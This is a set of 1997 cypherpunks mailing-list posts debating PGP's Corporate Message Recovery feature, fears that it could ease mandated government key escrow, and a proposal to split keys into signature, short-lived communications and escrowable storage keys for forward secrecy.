(Incidentally Hal, you may recognise in this the reason for some of my
annoyance that PGP Inc is mislabelling El Gamal as "DH" -- with my
earlier ideas on this proposal there would have been a _real_ DH.  It
also gets around objections to do with not being able to decide what
DH keys are (as they are negotiated not randomly generated directly)
which Hal raised as a reason why PFS (at least with DH) would disallow
functionality where key capabilities are included in the public
communications key encrypted packet, the last time this was discussed.
Clearly you could work around this restriction if you had to -- just
include the information in an extra packet encrypted with the
contained key and some symmetric algoirthm for example, though this
may limit algorithm choice at least for that packet).

You can use PFS in an asynchronous "where possible" mode for
non-interactive email transport situations.  That is you would perhaps
send new communications keys parameters with each message that defines
in it's key sub-packet preferrences that it is capable of using
communications only keys, and will be able to handle "recipients comms
key as part of message".  This might make sense where comms keys are
being updated too quickly to burden a key server with, or where comms
keys are not public (an aditional use for Hal's described no-export
flag for signatures, but here applied to communications keys), but are
specific to that communicating pair. (For paranoid people who are
changing comms keys on each receipt, you would need to do this).

As soon as one party has replied to a mail from the other, you can
switch to forward secrecy.  This would lead to emails such as "hi, can
you reply to this message please".  These are kind of similar to the
"hi can you send me your public key" you get back from people when you
haven't included your public key in your mail to them, and they don't
have access to a keyserver.

You can also then use this new "communications only" key setup to cope
with fully interactive email delivery for systems using email
transports other than standard SMTP.

You should probably overlap sending communications keys if you aren't
relying on keyservers due to frequency of key update, or for
convenience for people without access to keyservers, so that the
person sending you email is less likely to have no current
communications key for you if you are using keys sent in the message.
So towards the end of the month (if you had a policy of using
communications only keys with monthly updates) replacing keys monthly
start sending the next months communications key also, marked as not
for use until it's starting date.

(The use of very transient communications keys I think would imply a
need for two communications keys: you'll need a long term
communications key which is used for initial non-PFS mail in order to
set up PFS.)

With the separation of storage and communications keys all the
architecture has much better security decisions:

- We are able to treat communications with variable amounts of
  sensitivity, by giving different key expiry time periods to comms only
  keys.

- We are also able to secure and escrow our long term data storage in
  mail box folders, or PGP encrypted files without having to live with
  a GAKware compliant implementation of snoopware.  We can storage
  escrow keys appropriately without all the name calling and bad PR
  caused by enraged crypto anarchists, and crypto consultants.

You _know_ it makes sense :-) 

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 12 Oct 1997 05:30:05 +0800
To: hal@rain.org
Subject: PolicyMaker & GAK compliance
In-Reply-To: <199710111842.LAA03434@s20.term1.sb.rain.org>
Message-ID: <199710112123.WAA05223@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Hal Finney <hal@rain.org> writes:
> Adam Back writes:
> > I would be nice to see the topic of the recipient refusing email based
> > on policies relating to third party access to messages in transit
> > being addressed in the standard when and if PGP gets to that stage.
> >
> > [ecash processing]
> 
> This is a good example of a possible future kind of key assertion.
> Are you confident that you can decide which kinds of recipient refusal
> are morally correct and which kinds are not?

Not automatically, no, I doubt it would work.

> Is it the role of the IETF and the Open-PGP process to make this
> determination?  I would say not.  Rather, we should standardize data
> structures and conventions which allow people to express those
> conditions and assertions which are useful to them.

Yes.  I agree.

> There are a whole range of possible assertions which you might object to:
> 
>  [examples of PolicyMaker style policies]
> 
> You can take these case by case and decide for yourself whether each
> one is acceptable or not by your own standards.  But I don't think it's
> going to be possible to come up with a set of objective rules which will
> decide whether any given assertion is allowed.
> 
> Fundamentally, you are asking to make it illegal for a key to request
> encryption to an additional recipient.  That's what it comes down to.
> You want to forbid this class of assertions.

Yes.  I was getting carried away.  It would be too complex, most
likely.

The thrust of your argument seems to be that there would be little use
making pgp 5.5 non-GAK compliant, because PolicyMaker style statements
will be so flexible that they will be GAK compliant anyway.

So, when are PGP starting work on PolicyMaker?  Is it intended to
introduce this functionality in this first round standardisation?  It
seems to me that adding PolicyMaker functionality could take some
considerable time due to the huge complexity of the task.


Also, just because GAK compliance will become possible if and when
PolicyMaker style extensions are implemented, doesn't mean that PGP
can expect popular support for actually going ahead and implementing
GAK compliancy in pgp5.5; nor can it expect to gain popular support
for the uncharacteristic big brotherish mentality displayed by those
working at PGP in implementing the SMTP policy enforcer behind closed
doors to enforce other people to modify their behaviour to honour
third parties GAK or CAK requests.

I think the whole thing is a huge PR fluff up.  I'm suprised that
those at PGP were all able to agree to do it without arguments being
expressed by employees, and without those arguments leaking out of the
company (given the picture Jon Callas painted of strong privacy and
freedom biases at PGP).  If there had been open discussion of the
product's design prior to development, this feed back could have been
obtained earlier.

I presume the PGP PR person (who ought to get the sack in my opinion)
thought that a sudden press release of such marvelous new feature as
PGP snoopware and a snoopware enforcer for third parties would go down
well.  It doesn't.  The enforcer is rudely enforcing the companise
opinions on people who have no connection with the companies snoopware
policies.  You should keep such matters within the company by using
escrowed storage keys to acheive snoopware.

For these reasons I still argue that we should:

- add storage keys to the standard

   It's more secure to do this.  That should be argument enough in
   itself.  It also is much cleaner separating key functionality out
   into separate keys where those keys have vastly different recovery,
   life time, and security requirements.

- use storage key escrow to implement PGP snoopware instead of burdening
  the OpenPGP standard with the stigma of GAK compliancy

   This method ties in with the use of storage keys.  It is nearly as
   effective a snoopware design.  It also isn't GAK compliant.  It
   also doesn't result in cypherpunks shouting at you.

- don't use the special sub-packet type to flag GAK compliancy

   I think the above shows that the neither the standard, nor PGP Inc
   needs the GAK compliant sub-packet, so scrap it, and save the
   argument up for the much more defensible position of a generalised
   PolicyMaker style  key usage restriction assertions

- scrap the controversial SMTP snoopware policy enforcement app

   Use storage key escrow to implement PGP snoopware instead of
   burdening the OpenPGP standard with the stigma of GAK compliancy


It's difficult to get standards which don't reflect big brotherish
aims when the good reputation of PGP Inc and Phil Zimmermann is
apparently behind it.  Something weird is going on at PGP
headquarters.  PRZ is also silent.  Are all the people at PGP Inc in
accord in thinking that the snoopware policy enforcer is a really cool
pro-privacy app?  Some of the usually more vocal PGPers have remained
silent throughout the entire episode.  Also as Tim note's the lack of
a Zimmermann Telegram (tm) getting suspiciously overdue.  Is he
dragging his feet of snoopware and GAK compliancy?

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 12 Oct 1997 07:21:14 +0800
To: randerso@ece.eng.wayne.edu
Subject: the case for separate comms keys
In-Reply-To: <3.0.2.32.19971011155857.0069ea28@ece.eng.wayne.edu>
Message-ID: <199710112231.XAA05916@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Ryan Anderson <randerso@ece.eng.wayne.edu> writes on cpunks:
> Adam Back <aba@dcs.ex.ac.uk> writes:
> >You should have 3 types of key:
> >
> >1. signature keys
> >2. transient encryption keys
> >3. storage keys
> >
> >The transient encryption keys are for communications, you delete them
> >immediately after use.  Yes I'm talking forward secrecy here.  If you
> >don't like forward secrecy, well at least don't escrow the encryption
> >keys.
> 
> Huh?   Okay, PGP uses IDEA for transit keys.  These are encrypted to two 
> different PGP public keys. [...]  These are only used once.

The security principle I am referring to is that by doing as PGP
currently does, and using encryption keys in place of separate
communications and storage keys you are exposing your past traffic to
undue risk.

I am not at all referring to symmetric keys, because the fact that
they are randomly generated and used once doesn't protect them from
recovery via the compromise of your long encryption key and your
attackers copy of your encrypted communications.  The reason for
randomly generating IDEA session keys is a separate one.

The argument for having separate storage and communication keys is a
similar one to the now accepted argument that it is a good idea to
have separate signature and encryption keys.  The obvious advantage of
separating signature keys from encryption keys (introduced in pgp5) is
that if you escrow keys you don't want to escrow signature keys as all
this enables is forgery.

> The signature keys (in the proposed method) are the PGP keys (either
> RSA or DH, it's not important) are the personal keypairs of each
> person.  The company doesn't keep a copy of these.  They can sign
> with this in an unforgable manner.
> 
> Is there a problem here?

No.  I wasn't discussing signature keys.

> - From the description Jon gave of the system, you can designate
> anyone as the other key-id to encrypt to in your signature block.
> (Or whatever that part of the key is called).  The guy in the next
> cube, your boss, one company-wide key, etc.

Yes.  That's half of the story.  The other half of the story is that
PGP went ahead and implemented a SMTP snoopware policy enforcer which
could just as easily be used to enforce GAK.

> So yes, in theory this could be used to implement GAK.  Supposedly
> in the version of PGP in use it's trivial to remove this extra
> recipient from the list of encryption keys.  

I'm not sure that the fact that the pgp5.0 client doesn't attempt to
force you to use the GAK compliancy key adds much to my comfort level
that the whole thing won't end up being used for mandatory GAK.  My
scepticism is derived from the fact that the enforcement of the GAK
compliancy key is provided by another marvelous PGP Inc big brother
innovation: the SMTP snoopware/GAK compliancy policy enforcement app.

The argument doesn't really become apparent until you consider the
effects of lots of people (say 80% of companies) using PGP's GAK
compliancy enforcement.  A few more thin edge of the wedge moves on
the part of the USG GAK proponents (eg deputising service providers as
GAK compliancy enforcers, something which has already been discussed
in the past with the Clipper series), and you will suddenly be unable
to exchange mail with anyone without using GAK.  Sure you have a
"choice", you can send email to people that will bounce 100% of the
time, whoever you send to due to lack of GAK compliance field.
(Except for perhaps a few die hard cypherpunks).

> It's not even needed if you don't have that key on your ring.  (From
> what Jon said)

I'm not sure what you mean here.

> When you compalin about use of storage keys/communication keys your
> clouding the issue.

It might appear complex, but actually adding the distinction between
communications and storage keys greatly simplifies things, and it
allows you to make more appropriate security decisions about key life
times, and escrow.  It also allows you to implement the message
snooping function in a more secure way, and with less big brotherish
overtones.

Using separate storage keys allows you to:

- escrow storage keys within your company without including GAKware
  compliancy

- discard communications keys often (by giving them short life-spans)
  which greatly enhances your security

> The storage keys can be (and probably are in some cases) simply pgp
> encrypted files, as if they were in transit.  

Storage keys could be symmetric keys if they are for your own use
only, or you could escrow them if you want to share access, or your
company wants the extra assurance of data availability that storage
key escrow brings.  There might be some security advantages to using
symmetric keys even.  (Public key sizes are a faster sliding and more
uncertain target than symmetric key sizes.

> I tend to encrypt some files on my hard drive with pgp, by
> encrypting to myself and signing so that onyl I can decrypt them,
> and I've got record that I did create the archive.

You can sign and encrypt with symmetric keys also. "pgp -cs."  Quite a
useful combination.

I used to do the opposite of what you do... I used to use pgp -cs,
because I explicitly didn't want the public key baggage, and danger
that 1024 bit keys might be readable in 10-20 years, the then maximum
key size.

> I can see this being done in a company to simplify shared storage
> usage without security problems.  Using the multiple recipient
> option your recovery key-id can be used to decrypt these files.  Of
> course, if they're modified, they can't be resigned, so you'd know,
> but...

It's probably simpler to just escrow storage keys.  That is just give
management a copy to put in the fire proof safe.  Or secret split or
whatever.

You could use multiple crypto recipient if you wanted to -- it's
basically just another way of acheiving the same thing.

There is one (quite practical) reason, however, to use symmetric
storage keys.  Speed.  If you're encrypting lots of files (perhaps
using an encrypted parition driver such as Peter Gutmann's SFS), you
won't have time to encrypt to public keys, never mind multiple public
keys.

If the company keeps it's employee's storage keys in escrow, the fact
that you're using a symmetric key works fine.

> This is a *simple* solution that eliminates problems with encrypting
> hard drives, etc.

I don't see that it's any more difficult to do as I outline above,
which is better security practice in any case.

> Where is the problem with this system?  This is software that
> (according to Jon's claim) at least one company has decided they
> need for their security, and it keeps the number of pass phrases
> that employees need to memorize at one - their PGP key.

Don't confuse key functionality with user ergonomics.  PGP or other
vendors could easily implement a unified interface to a secured
private key database containing all of your persistent private keys.
You need only have one key.  Or perhaps no keys -- in a secured
environment, or with keys stored on smart cards.

> >Storage keys you make damn sure you can recover.  You escrow these for
> >real.  Company safe sounds about right.  Secret splitting could be
> >nice also.
> 
> Why not just encrypt it to yourself with PGP?  Isn't that simpler?
> Add a recipient of the recovery id.  Boss, coworker, person's key in
> another division, whatever.  Everybody gets different storage keys.
> No need to worry about accidently compromising one of the storage
> keys (IDEA symmetric keys, of course).  You then just need to keep
> the secret halfs of the public keys secure.  Not a big deal if you
> have the rest of the system working.

I'm not really fussy beyond the fact that it will be less efficient in
space (extra public key packets would be significant for a disk block
level partition encrypter), and the performance issues with using
public key crypto to encrypt lots of files to multiple people. 

> >You shouldn't be recovering transient messages, you should be
> >recovering stored data.
> 
> What the hell is the difference?  Speed of recovery?

Nope speed of recovery is not the issue.

> Give an example of the difference between what he's doing and what
> you would propose. Otherwise you're just rejecting this system
> blindly.

I'm sure I've given these reasons earlier in the thread, but I'll
summarise them again:

1. It is more secure to use short lived communications keys because
communications keys are more sensitive than storage keys.  This is
because with communications your attacker has copies of your
ciphertext as you're sending it over an insecure open communications
medium.  Your storage data is on your hard disk, possibly in a secured
environment.

2. People shouldn't be able to recover the data from communications
because for security reasons it should be encrypted with transient
communication keys.  You are purposelly securely wiping the key after
some period.  Keeping extra doors into the communication weakensn this
protection.

3. given that secured communications are now defined as transient in
nature, for security reaons: the natural way to archive such
communicated data is to re-encrypt it for a storage key.

4. people don't really want access after the fact to their transient
communications, they want access to their archived email.

5. you can still implement corporate snooping, and I acknowledge that
businesses have a right to do this (though personally I may not choose
to work for a company which does this).  But you can implement message
snooping, by implementing key escrow of the storage key used to secure
your email archives.  To enforce this to the extent that you can, you
build in automatic archiving in a way which is hard to defeat in the
mail client to decrypt communication with the comms key, and then
re-encrypt with the escrowed storage key.

6. Given the marked difference in life time, security requirements,
and data availability requirements between stored data and transient
communications keys is it any wonder that you can achieve a more
flexible, more secure system by separating functionality of your keys
-- it really is a very similar argument as to the argument over why
you should have separate storage and communications keys.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Trei Family <trei@relay-1.ziplink.net>
Date: Sun, 12 Oct 1997 13:08:10 +0800
To: cypherpunks@toad.com
Subject: CMR paves the road to GAK, and provides no corporate security.
Message-ID: <3.0.1.32.19971012005421.007ab570@pop3.ziplink.net>
MIME-Version: 1.0
Content-Type: text/plain



I've been mulling over PGP5's CMR feature for a while, trying to
decide what I think of it. It hasn't been easy, but I've come down
against it. I'm restricting my discussion to the use of CMR in 
corporate email. I am not addressing stored data.

> Jon Callas (jon@pgp.com) writes:

> There are two things I will discuss in this missive:

> (1) The assertion that Corporate Message Recovery is "just like Clipper"
> and why this is not true.
> (2) The fear a number of people have expressed that Corporate Message
> Recovery (CMR) could be used by the US government to slide in GAK. 

> I think we're agreed that CMR isn't itself GAK and I'll talk some about why
> it isn't with (1).

I think that we're a lot more worried that the presence of features like CMR
will make it easier for governments to mandate GAK. It's much tougher to 
insist on GAK if a switch requires new software to be developed, and
for everyone to purchase, install, and use espionage-enabled software. If
CMR -
like facilities are already in the software, then GAK could be mandated
overnight 
by executive order.

The inclusion of CMR drastically lowers the barriers to mandated GAK.

>CMR isn't like Clipper:

>* Clipper was a 64-bit key. CMR symmetric keys are full-strength keys (128
>bits or more), backed with a full-strength public key.

A word of advice: don't try to discuss Clipper in this forum without checking
your facts. Clipper used an 80 bit key.

> * Clipper's key was set in hardware by the manufacturer, and users were
> required to use it. 

Actually, the chips left the manufacturer 'blank'. They were to have their
unit keys set by some ill-defined process involving government employees.
It never really got nailed down, since Clipper was killed before the
key escrow agencies and systems were ramped up beyond demonstration levels.

> A CMR key is a software-enabled key, no user is ever
> required to use it.

With a CMR feature in place, a government can say "Starting now, encrypt 
to this key or we'll throw you in jail." Without CMR, they can't really do
this.

> There are cases in which a user might "volunteer" to
> use a CMR because they work for someone who requires it, 

[or because the State says it will toss his sorry ass in jail if he
 does not]

> but that's a
> problem we'll address with the PGP Secure Resume Server which allows
> headhunters to securely and anonymously find people who've made bad career
> decisions.

[or bad citizenship decisions?]

> * A CMR key can be revoked, reissued, or changed. You can periodically
> change it as a matter of policy. You can even stop using it. Clipper's was,
> again, set in hardware, with no option of not using it. 

Once again, you're unlikely to do this if the State decides that that would
be a good reason to jail you.

> * The Clipper symmetric algorithm was secret; CMR keys use publicly
> available algorithms.

True, but the point is moot - most people beleive that the NSA is perfectly
competant to write secure symmetric ciphers without outside review, and 
since they had given themselves a backdoor, there was no reason to leave 
the window unlocked as well.

> * With Clipper, there was always a concern that an outside agency had the
> keys. This is true with a number of other systems (the so-called key
> recovery systems), and is the reason that a number of them are lumped
> together with the term GAK. Note that the user-organization creates a CMR
> key, and the end-user enables it. If any government gets access to this
> key, it is because either (1) they solved the Discrete Logarithm Problem,
> (2) they broke the public CMR key, (3) they black-bagged your CMR key, or
> (4) they are using a subpoena, warrant, or discovery to get the key. We're
> working on a way around (1), we can't do anything about (2) or (3), but
> these are fine reasons not to use CMR! If you're beset by (4), you need
> lawyers, not cryptographers.

If the State could do (1), they would not be asking for key recovery in the
first place. (2) and (3), are greatly aided by CMR, since CMR provides 
high value targets; breaking or black-bagging a single key gives you access
to a great deal of traffic, and in the case of (4), you lose 5th Amendment
protection, since a third party holds a key.

> * With Clipper, there was a central repository of all the keys. With CMR,
> there is not. I discussed that in detail in my message, "Why Corporate
> Message Recovery isn't Key Escrow."

Once again, you haven't checked the record. Clipper keys were to be split, 
with different halves going to different government agencies. There were
fairly elaborate plans to prevent posession of only one half giving an
attacker an advantage. Thus there were *two* repositories, not one. 
(From the point of view of the paranoid, this was not much of a
comfort - both repositories belonged to the same entity.)

> I have noticed that a number of people have the tacit assumption that
> business people and corporations are in cahoots with the FBI, waiting to
> hand over everyone's secret key. As in all parts of life, there are many,
> many businesspeople and corporate execs who are not particularly moral. But
> I don't think that their immorality takes this form. If we could examine
> the dark, secret thoughts of a corporate scumwaffle -- the ones that he
> *really* hopes don't hit the papers -- I sincerely doubt that, "Oh, Louis,
> I love it when you rummage my drawers" is among them.

Here's an alternative interpretation. 

I think that 'business people and corporations' feel (with considerable 
justification, I might add) that they have a moral right to control the 
information which flows in and out of their worksites, just as they 
have a right to control to flow of material goods on and off of their 
premises. 

To control the flow of material goods, companies install security systems,
guards, metal detectors, etc. Depending on the type of good and it's value,
these more or less work, though they're never perfect; when the marginal cost
of improving security exceeds the loss that the improvement would prevent, 
you stop adding security. In the extreme case, the diamond workers of Namibia
have to undergo a full-body X-ray whenever they leave the diamond reserve.

Companies would like to be able to able to exercise similar control over data.
However, bits behave differently than do atoms. Physical barriers are almost
perfectly transparent. An employee can slip a multi-gigabyte DAT tape in
a shirt pocket, or transfer stego'd data undetected inside innocent cover
data,
perhaps with non-CMR'd superencryption.

For data, physical barriers - firewalls, passwords, isolated lans, access
controls
encryption, et al, can work more or less effectively to prevent
unauthorized outsiders
from acquiring data they should not. 

However, there is *no* way in which you can prevent a person you have
authorized to
receive data from making whatever use of it they desire, even if those uses
are 
opposed to your reasons for giving them the data.

CMR serves to give corporate executives the illusion that they can control the
uncontrollable. It lets them think they can monitor the expression of their
employess, while they can not. It lets them beleive that they can use
technology
to protect corporate proprietary data from theft by disloyal employees, while 
they can not. The only way to protect data is to make sure that employees 
share the goals and ends of the corporation; ie, give them a reason to be
loyal 
and trustworthy.

Classified agencies know this. In the classified world, there is a huge effort
to protect data from outside attack. There is a similarly intense effort to 
check that only loyal, reliable, trustworthy people get clearances, and 
strong 'need to know' controls to restrict what data even they can see.
However,
once a cleared person has acheived properly authorized access to classified 
data, there is (in my observation) remarkably little done to prevent them 
from deliberately walking off with it.

CMR provides an illusion that this loss can be prevented. It looks good in a
chief security officer's report; it gives warm fuzzies to senior management.
However, it provides no real security. In fact, it actually weakens security, 
since anyone with licit or illicit access to the CMR key(s) can read the data.

> Now then, the next topic is the fear that CMR will be used in some
> insidious government plot to slip in GAK everywhere.

> I worry about this, too. But I don't think it's feasible that CMR can be a
> stalking horse for GAK. If the government wants to GAK-enable all PGP,
> they'll have to have a plan similar to this:

[Strawman GAK plan deleted]

Here's a more realistic scenario.

1. OpenPGP with CMR becomes a standard, and is widely accepted and
installed. PGP gets
rich. (Are you going to claim that this could never happen?)

2. An executive order is signed by the President, ordering that all encrypted 
email include the FBI public key as a recipient. He notes that this will be
no 
burden to industry, since it's a freebie with the industry standard CMR
facility.

To summarize:

1. CMR cannot prevent disloyal employees from sending messages that their
   employers would want to prevent.

2. CMR, widely deployed, would greatly ease a transition to mandated GAK.

Given CMR's inability to provide an a desirable goal (improve corporate
security),
coupled with the severe downside (paving the road to GAK), I have decided that
I must oppose it.

> Jon Callas jon@pgp.com

Peter Trei
trei@ziplink.net





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Sun, 12 Oct 1997 14:31:44 +0800
To: trei@process.com
Subject: Re: Internet Via Electric Lines?
In-Reply-To: <199710081351.GAA15055@toad.com>
Message-ID: <199710120611.CAA29682@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain



At Interop, someone mentioned to me that Nortel has announced a system
for getting 192k over power lines.  Theres a link on their home page,
but its broken.

On another topic, someone asked me about a "new breakthrough in
quantum computing."  Anyone know of an announcement in the last week?

Adam


Peter Trei wrote:
| > To:            cypherpunks@cyberpass.net
| > From:          Jonathan Wienke <JonWienk@ix.netcom.com>
| > I heard on the ABC hourly news that some genius had figured out a way
| > to use electrical power lines for data transmission, so that the power
| > grid could be integrated into the Internet.  Does anyone have any
| > details / pointers?


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Sun, 12 Oct 1997 18:41:26 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: the case for separate comms keys
In-Reply-To: <3.0.2.32.19971011155857.0069ea28@ece.eng.wayne.edu>
Message-ID: <3.0.2.32.19971012063205.006e7b34@ece.eng.wayne.edu>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 11:31 PM 10/11/97 +0100, Adam Back wrote:

>to exchange mail with anyone without using GAK.  Sure you have a
>"choice", you can send email to people that will bounce 100% of the
>time, whoever you send to due to lack of GAK compliance field.
>(Except for perhaps a few die hard cypherpunks).

My reading of Jon's post was that the SMTP policy enforcer only worked for 
outgoing messages.  Perhaps that's wrong, but that needs to be double-
checked.  See below as well...

>> It's not even needed if you don't have that key on your ring.  (From
>> what Jon said)
>
>I'm not sure what you mean here.

The snooping key.  If it doesn't exist on *my* keyring.  (Say I have your 
key, but not the key designate as your snooping key...)  [BTW: Forgive the 
English, I'm tired and speaking in choppy sentences]

If I have your key, but not the other key that I'm also supposed to encrypt 
to, PGP (whichever versions, I'm not entirely sure how the feature set breaks 
down, but I believe this applies to all versions of 5.x)  will not even 
mention that there was another key it would've have offered to encrypt to.

>> When you compalin about use of storage keys/communication keys your
>> clouding the issue.
>
>It might appear complex, but actually adding the distinction between
>communications and storage keys greatly simplifies things, and it
>allows you to make more appropriate security decisions about key life
>times, and escrow.  It also allows you to implement the message
>snooping function in a more secure way, and with less big brotherish
>overtones.
>
>Using separate storage keys allows you to:
>
>- escrow storage keys within your company without including GAKware
>  compliancy
>
>- discard communications keys often (by giving them short life-spans)
>  which greatly enhances your security

Greatly complicating the "web of trust" method, but..  You can only chain 
signatures so far before you run into problems, and getting people to 
continuosly recertify could be a major pain, but I can see the point you are 
making.   It got clearer.


>> The storage keys can be (and probably are in some cases) simply pgp
>> encrypted files, as if they were in transit.  
>
>Storage keys could be symmetric keys if they are for your own use
>only, or you could escrow them if you want to share access, or your
>company wants the extra assurance of data availability that storage
>key escrow brings.  There might be some security advantages to using
>symmetric keys even.  (Public key sizes are a faster sliding and more
>uncertain target than symmetric key sizes.

Well, at least with RSA keys, I believe the memory requirements to handle 
current factoring algorithms are quite untenable for 2048 bit keys.  I think 
768 is out of the range of current systems.  I think this came up on the RC5 
(Bovine) mailing list, and the figures for the required server was something 
absolutely ridiculous.  To distribute the job using the more efficient 
algorithm required machines with 128 meg of ram, but the slower one was a bit 
more doable.

In short, I don't think 2048 RSA keys are reasonable target in the forseeable 
future.  [Remember, Moore's law is only applicable for another 12 years or 
so.  Then quantum mechanics starts to be a serious problems, and electrons 
start switching channels in the chips.]

But this is a bit of a wandering topic now.  Let me continue...

>You can sign and encrypt with symmetric keys also. "pgp -cs."  Quite a
>useful combination.

Hmm.. I must've missed that.  

>I used to do the opposite of what you do... I used to use pgp -cs,
>because I explicitly didn't want the public key baggage, and danger
>that 1024 bit keys might be readable in 10-20 years, the then maximum
>key size.

Well, I wasn't really encrypting anything I really cared about.  It was 
backups of autoexec.bats and config.syss, I just wanted another copy that I 
*knew* when it was made, it wouldn't get overwritten, and it wouldn't get 
modified without me knowing.   And I needed something to use PGP for, so...

In all honesty, the public key baggage is 512 bytes ( I think, possibly bits. 
 I've forgotten now )  Quite insignificant if you're dealing with CAD 
drawings.  The added benefit of reducing passphrase uses is quite significant 
(with current PGP versions, the database of keys is a better idea actually).  
Possibly more portable across a range of users as well.

>> I can see this being done in a company to simplify shared storage
>> usage without security problems.  Using the multiple recipient
>> option your recovery key-id can be used to decrypt these files.  Of
>> course, if they're modified, they can't be resigned, so you'd know,
>> but...
>
>It's probably simpler to just escrow storage keys.  That is just give
>management a copy to put in the fire proof safe.  Or secret split or
>whatever.

I was actually thinking something along the lines of creating a file - 
encrypting it to your whole workgroup, and leaving it on a server.  Now you 
have the advantage of not having any security problems even if the server is 
compromised [without workstation compromise, of course], and all the 
important people can access it.  Of course, the last person to modify it 
resigns it, and it gets dropped into your RCS system.

you get the added advantage of being able to rotate your keys here as well, 
so even if one key is compromised, and the server is compromised, you don't 
lose the whole system.  Identical argument as for communications keys.

>You could use multiple crypto recipient if you wanted to -- it's
>basically just another way of acheiving the same thing.
>
>There is one (quite practical) reason, however, to use symmetric
>storage keys.  Speed.  If you're encrypting lots of files (perhaps
>using an encrypted parition driver such as Peter Gutmann's SFS), you
>won't have time to encrypt to public keys, never mind multiple public
>keys.

That's a different problem.  For that you're [in this ultra-theoretical 
world] probably going to want something along the lines of this:  Symmetric 
encryption for speed on the partition, and that key stored with several 
recipients in the same place as the Secure Partition Driver (SPD).  (This 
falls in the, "If you're going to build a system, make sure you think of 
everythign you want and make sure it fits in the framework somewhere" method)

>If the company keeps it's employee's storage keys in escrow, the fact
>that you're using a symmetric key works fine.

I'm not sure you need to escrow anything, as long as there is a way to share 
things among certain groups of people.  Jon's ideas of non-hierarchical 
recovery systems seem a lot more secure anyway, especially with the rest of 
this thread.

Oh - for the situation with Andy Grove (Intel CEO) describe earlier on this 
thread - let me give this suggestion:
	AG's key w/extra encryptions to CFO (or Pres. of Board, or someone else with 
significant influence and a close working relationship.  Backup for problems 
with intransit e-mail.)
	Similar setups for everyone else in the company.  Probably the top-level 
executives all have AG as the backup.  This elminates snooping entirely in 
the company, on the top level execs.  This partially hierarchical method 
wouldn't be horrible, and limits snooping to the level above you, or to 
peers, depending on setup.

>> Give an example of the difference between what he's doing and what
>> you would propose. Otherwise you're just rejecting this system
>> blindly.
>
>I'm sure I've given these reasons earlier in the thread, but I'll
>summarise them again:

Yeah, you covered them fairly well, and cleared up the issues where I 
honestly thought it was a fear-mongering problem.  I still don't completely 
agree with you, but we've clarified the problem areas.  Thanks.  (Too many 
wars get *way* too religous on the net.  Let's try and avoid that here, ok?)


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBNECnJDc3ytqHnNyNAQGzAAP/bnYQQKdBnTY5HKc2fNlMYefYwZhdNXZo
aYNDhmybGM8756SIp0uuKaaf1t2f22is1/XdxaN2aHO+5qyHSc/EwgV4tWeQ1SXt
zBhMBM4phbTFSHl8FJUdRI9qcMxfoIfdoyJ5/CuYo83gJBwsrov6NZQylAlRR66K
VUAohcY/BxM=
=t0mO
-----END PGP SIGNATURE-----


-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu         
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 12 Oct 1997 21:33:49 +0800
To: cypherpunks@toad.com
Subject: Re: Stronghold
Message-ID: <wLPgee5w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Adam Back <aba@dcs.ex.ac.uk> writes:
>> > Unfortunately I wasn't on cypherpunks-unedited at the time, but I
>> > thought that it was immediate send out from toad.com without going via
>> > Sandy.
>>
>> Going over my notes I see that at least one of my submissions - the
>> one quoting the C2Net lawyer letter in its entirety - didn't appear
>> even on cypherpunks-unedited.
>
>I think I saw this claim made before around the time of the "moderation
>experiment".
>
>The only ways I can see that this could have happened are either that:
>
>  i)  John Gilmore started editing cypherpunks-unedited at Sandy/C2net's
>      request
>
>  ii) cypherpunks-unedited was edited all along by someone (John or Sandy)
>
>i) is sort of feasible, perhaps there are others who were on unedited
>and were counting who could confirm this.  Toto I think was.

Apparently a 'bot was installed on toad.com to discard my submissions from the
"unedited" list _after my article which prompted the C2net threatening lawyer
letter did make it through the "unedited" list (but was censored from the
"flames" list by C2Net).

>ii) is hard to believe because the fact that something is edited shows
>-- when the editor is sleeping you get lag.
>
